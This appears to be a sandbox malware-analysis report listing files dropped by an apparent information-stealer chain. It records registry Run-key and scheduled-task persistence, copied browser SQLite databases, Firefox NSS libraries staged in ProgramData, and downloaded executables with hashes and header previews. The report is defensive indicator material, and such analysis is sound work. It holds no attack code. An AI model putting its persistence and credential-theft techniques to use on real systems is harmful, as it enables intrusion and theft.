21:09:07	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
21:09:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f72eb1bfa4.exe C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe
21:09:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 65c2c3d4c3.exe C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe
21:10:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 47f677ba64.exe C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe
21:10:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f72eb1bfa4.exe C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe
21:10:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 65c2c3d4c3.exe C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe
21:10:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 47f677ba64.exe C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKEGCAEGIIJKFIEHIJE

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10085
Entropy (8bit):	5.535297456726512
Encrypted:	false
SSDEEP:	192:WnaRtZYbBp6shj4qyaaX86KakfGNBw8dYSl:xemquOcwL0
MD5:	A23E3F59052482B7807D2D2D895222D3
SHA1:	C70F7649822ACB3D6A9E569610CA1D223F677F83
SHA-256:	9433B5747BE75876146F1277D6001EBE1CD4E7E1B830757813F0E96325B5225B
SHA-512:	6E394FE0DE70F347BB7AFC12724EA93578D348B18A4BB92B700199FA08BF9879E443D9BA03CA70EAEF8B1C494A89A58666C5C3815EFF5B0957431C07FE91C0A7
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.up

C:\ProgramData\DGCBKECAKFBGCAKECGIE

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDAEHCB

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBGDGCGDAKFIDGIDB

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGIDHJKKJDGCBGCGIJKKECAAE

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDAFBF

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2a8ef8d829.exe.log

Process:	C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.364718088491842
Encrypted:	false
SSDEEP:	48:SfNaoQ9TEQ0fNaoQG7QzfNaoQVQtwfNaoQQ4g0UrU0U8QQL:6NnQ9TEQgNnQG7QrNnQVQWNnQQ4g0Ur7
MD5:	48973C56F5417AA8ECC2D09FD5B2D54B
SHA1:	448CDCAED00F0358BD3D69A9B4A40E976B7D5E56
SHA-256:	AF60C9B067998124BF3A0306BC6C06750C4E5FCA03332A027B29A9947569D552
SHA-512:	D45803BBE2B16353B04FA85CFC01EB5301CF433CFAB1F6117142990261C1EF358A14634B09ED5F4D2AD1094F8D702D673DD2075DFE2E766254ED9D02A2CD83F1
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/56E4FC67A65C639F2969049DA6FC334A",.. "id": "56E4FC67A65C639F2969049DA6FC334A",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/56E4FC67A65C639F2969049DA6FC334A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AFFE1B7D4C23D6827E2BF9C6A50D1148",.. "id": "AFFE1B7D4C23D6827E2BF9C6A50D1148",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AFFE1B7D4C23D6827E2BF9C6A50D1148"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4404224
Entropy (8bit):	7.982001400756089
Encrypted:	false
SSDEEP:	98304:Rw6KaeYjBOfsJGtc1JQ1hl6ulpWE1Vz5VIw+LTiBNZq/sae4t1F+y:a6Kj6BQsJG6jQ1hflBvXInLEbsTe+L
MD5:	ABF203DD0126AD56347D05E2C0F48322
SHA1:	B6EFEE54668E99435319D65F634459EB561C1491
SHA-256:	987B2A963FEACA33452AC5DDA999E1447F2732014C71C3BC3F5CED7D3227886A
SHA-512:	9C0F42D430A1DF1B6B87CB3414DC0AC72524958B4CB4C080BAC083FFEF4948C011D26C20291AE2E5E46B1DBD20EB325E8657C067FFFC9094FF5C0ADF12A4E4E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2... ........J...@..........................P......!.C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .p8...q.......'.............@...byaebdxw..............'.............@...ccdsmily..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2766848
Entropy (8bit):	6.491237591153825
Encrypted:	false
SSDEEP:	49152:6jb3j1kXfkYRoRPxTUo+Fe59czFy0VuKxtTGMcq34r:6nj1kPkYRodxTUoWU9j0oKzTvY
MD5:	333B260426A661DCADD5C016AB149ECB
SHA1:	0F87CEC4227CF24CDEA86A82B632D45488875E77
SHA-256:	AFCC403016C3FBBB10E732010BBC93854C1E1BE63DF48C91901ACD7E05AA0E2C
SHA-512:	9E53484A98183723E63359EA714DEA7B48D0EF43AE26A426FB0889DC1320B3B57F3876546ED4C49284CC79AB52F0B240954EB16B8BE3CA392570D7010872B458
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ihewwctv..).......)..:..............@...macjzflx. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792512
Entropy (8bit):	7.944188978912843
Encrypted:	false
SSDEEP:	49152:eZVwZPBu0P7eKyJFw0RfC4xtyZZ3z5Xz+lQQCf2cj9:eV+PBbLdCbDY3t2HG
MD5:	B3CEC29DFCC248BC4F4F33FF5BA14470
SHA1:	389DC1F719B34841EAA55C8E81CE0F773FEA3ACF
SHA-256:	841E3AB686E632551E2229D68366490832987AB47D308C54F6817F3E13A5FF52
SHA-512:	85803678EE823025990A8377B0B51335BE58365BC1FCABFF37E4ED1330B93438BBBB94E40908F3CCAEA4631BA5D155D0391198EE3639630BD981CFEDFDC5828A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........h...........@...........................h.....6[....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .0*...$......v..............@...tcmgcthi......N......x..............@...suhmtczi......h......4..............@....taggant.0....h.."...8..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592697144061893
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgamT1M:3qDEvCTbMWu7rQYlBQcBiT6rprG8a+a
MD5:	8952118CBD8AAC309AF40B7BA020AC8E
SHA1:	9EB96E51892C77F644997905D5A7B680558E0AA0
SHA-256:	F896925D010797327E622E095FC75605E3CCCF9C842577DB3C3AA9FC1DEC522A
SHA-512:	4199640D12798C108F09D9007F29FD2F4F5A075986B5E257C5629DDE340717D0199A92601262C020A55E6AB370C8F26E88C35D5A547FC02818244590502926C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...H.<g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

